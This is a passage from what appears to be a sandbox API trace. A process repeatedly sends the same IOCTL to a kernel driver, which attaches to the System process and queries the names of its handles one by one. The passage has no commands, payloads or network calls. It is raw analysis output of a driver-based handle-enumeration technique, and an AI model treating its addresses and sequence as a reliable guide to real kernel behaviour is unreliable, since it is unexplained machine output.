nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.072] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.072] PsAcquireProcessExitSynchronization () returned 0x0 [0135.072] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.072] ObReferenceObjectByHandle (in: Handle=0xffffffff80000520, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80024f7f20, HandleInformation=0x0) returned 0x0 [0135.072] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.072] PsReleaseProcessExitSynchronization () returned 0x2 [0135.072] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.072] ObQueryNameString (in: Object=0xfffffa80024f7f20, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.072] ObfDereferenceObject (Object=0xfffffa80024f7f20) returned 0x2 [0135.073] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.073] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.073] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.073] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.073] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.073] PsAcquireProcessExitSynchronization () returned 0x0 [0135.073] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.073] ObReferenceObjectByHandle (in: Handle=0xffffffff80000528, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002135af0, HandleInformation=0x0) returned 0x0 [0135.073] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.073] PsReleaseProcessExitSynchronization () returned 0x2 [0135.073] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.073] ObQueryNameString (in: Object=0xfffffa8002135af0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.073] ObfDereferenceObject (Object=0xfffffa8002135af0) returned 0x2 [0135.073] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.073] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.073] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.073] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.073] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.073] PsAcquireProcessExitSynchronization () returned 0x0 [0135.073] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.073] ObReferenceObjectByHandle (in: Handle=0xffffffff80000534, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003add3f0, HandleInformation=0x0) returned 0x0 [0135.073] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.073] PsReleaseProcessExitSynchronization () returned 0x2 [0135.073] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.073] ObQueryNameString (in: Object=0xfffffa8003add3f0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.073] ObfDereferenceObject (Object=0xfffffa8003add3f0) returned 0x2 [0135.073] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.073] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.073] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.073] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.073] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.074] PsAcquireProcessExitSynchronization () returned 0x0 [0135.074] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.074] ObReferenceObjectByHandle (in: Handle=0xffffffff8000053c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80019b6c20, HandleInformation=0x0) returned 0x0 [0135.074] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.074] PsReleaseProcessExitSynchronization () returned 0x2 [0135.074] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.074] ObQueryNameString (in: Object=0xfffffa80019b6c20, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.074] ObfDereferenceObject (Object=0xfffffa80019b6c20) returned 0x2 [0135.074] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.074] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.074] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.074] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.074] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.074] PsAcquireProcessExitSynchronization () returned 0x0 [0135.074] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.074] ObReferenceObjectByHandle (in: Handle=0xffffffff80000540, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800b97cf20, HandleInformation=0x0) returned 0x0 [0135.074] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.074] PsReleaseProcessExitSynchronization () returned 0x2 [0135.074] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.074] ObQueryNameString (in: Object=0xfffffa800b97cf20, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.074] ObfDereferenceObject (Object=0xfffffa800b97cf20) returned 0x2 [0135.074] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.074] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.074] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.074] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.074] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.074] PsAcquireProcessExitSynchronization () returned 0x0 [0135.074] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.074] ObReferenceObjectByHandle (in: Handle=0xffffffff80000544, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80029498a0, HandleInformation=0x0) returned 0x0 [0135.074] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.074] PsReleaseProcessExitSynchronization () returned 0x2 [0135.074] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.074] ObQueryNameString (in: Object=0xfffffa80029498a0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.075] ObfDereferenceObject (Object=0xfffffa80029498a0) returned 0x2 [0135.075] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.075] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.075] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.075] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.075] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.075] PsAcquireProcessExitSynchronization () returned 0x0 [0135.075] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.075] ObReferenceObjectByHandle (in: Handle=0xffffffff8000054c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002066f20, HandleInformation=0x0) returned 0x0 [0135.075] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.075] PsReleaseProcessExitSynchronization () returned 0x2 [0135.075] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.075] ObQueryNameString (in: Object=0xfffffa8002066f20, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.075] ObfDereferenceObject (Object=0xfffffa8002066f20) returned 0x2 [0135.075] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.075] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.075] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.075] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xb6, lpOverlapped=0x0) returned 1 [0135.075] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.075] PsAcquireProcessExitSynchronization () returned 0x0 [0135.075] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.075] ObReferenceObjectByHandle (in: Handle=0xffffffff80000558, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001a2d2d0, HandleInformation=0x0) returned 0x0 [0135.075] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.075] PsReleaseProcessExitSynchronization () returned 0x2 [0135.075] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.075] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473508) returned 0x0 [0135.075] ObfDereferenceObject (Object=0xfffffa8001a2d2d0) returned 0x1 [0135.075] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.075] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.075] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.075] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0135.075] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.075] PsAcquireProcessExitSynchronization () returned 0x0 [0135.075] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.076] ObReferenceObjectByHandle (in: Handle=0xffffffff80000560, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80021af670, HandleInformation=0x0) returned 0x0 [0135.076] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.076] PsReleaseProcessExitSynchronization () returned 0x2 [0135.076] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.076] ObQueryNameString (in: Object=0xfffffa80021af670, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.076] ObfDereferenceObject (Object=0xfffffa80021af670) returned 0x2 [0135.076] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.076] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.076] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.076] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.076] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.076] PsAcquireProcessExitSynchronization () returned 0x0 [0135.076] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.076] ObReferenceObjectByHandle (in: Handle=0xffffffff80000570, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80029bc7d0, HandleInformation=0x0) returned 0x0 [0135.076] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.076] PsReleaseProcessExitSynchronization () returned 0x2 [0135.076] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.076] ObQueryNameString (in: Object=0xfffffa80029bc7d0, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.076] ObfDereferenceObject (Object=0xfffffa80029bc7d0) returned 0x2 [0135.076] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.076] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.076] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.076] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.076] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.076] PsAcquireProcessExitSynchronization () returned 0x0 [0135.076] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.076] ObReferenceObjectByHandle (in: Handle=0xffffffff8000057c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002147270, HandleInformation=0x0) returned 0x0 [0135.076] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.076] PsReleaseProcessExitSynchronization () returned 0x2 [0135.076] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.076] ObQueryNameString (in: Object=0xfffffa8002147270, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.077] ObfDereferenceObject (Object=0xfffffa8002147270) returned 0x2 [0135.077] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.077] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.077] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.077] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.077] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.077] PsAcquireProcessExitSynchronization () returned 0x0 [0135.077] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.077] ObReferenceObjectByHandle (in: Handle=0xffffffff80000580, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80021194c0, HandleInformation=0x0) returned 0x0 [0135.077] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.077] PsReleaseProcessExitSynchronization () returned 0x2 [0135.077] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.077] ObQueryNameString (in: Object=0xfffffa80021194c0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.077] ObfDereferenceObject (Object=0xfffffa80021194c0) returned 0x2 [0135.077] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.077] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.077] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.077] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0135.077] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.077] PsAcquireProcessExitSynchronization () returned 0x0 [0135.077] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.077] ObReferenceObjectByHandle (in: Handle=0xffffffff80000584, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003141e60, HandleInformation=0x0) returned 0x0 [0135.077] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.077] PsReleaseProcessExitSynchronization () returned 0x2 [0135.077] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.077] ObQueryNameString (in: Object=0xfffffa8003141e60, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0135.077] ObfDereferenceObject (Object=0xfffffa8003141e60) returned 0x1 [0135.077] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.077] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.078] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.078] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.078] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.078] PsAcquireProcessExitSynchronization () returned 0x0 [0135.078] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.078] ObReferenceObjectByHandle (in: Handle=0xffffffff80000588, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800248ff20, HandleInformation=0x0) returned 0x0 [0135.078] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.078] PsReleaseProcessExitSynchronization () returned 0x2 [0135.078] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.078] ObQueryNameString (in: Object=0xfffffa800248ff20, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.078] ObfDereferenceObject (Object=0xfffffa800248ff20) returned 0x2 [0135.078] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.078] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.078] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.078] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.078] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.078] PsAcquireProcessExitSynchronization () returned 0x0 [0135.078] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.078] ObReferenceObjectByHandle (in: Handle=0xffffffff80000590, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001a42ab0, HandleInformation=0x0) returned 0x0 [0135.078] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.078] PsReleaseProcessExitSynchronization () returned 0x2 [0135.078] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.078] ObQueryNameString (in: Object=0xfffffa8001a42ab0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.078] ObfDereferenceObject (Object=0xfffffa8001a42ab0) returned 0x2 [0135.078] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.078] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.078] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.078] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.078] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.078] PsAcquireProcessExitSynchronization () returned 0x0 [0135.078] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.078] ObReferenceObjectByHandle (in: Handle=0xffffffff800005ac, 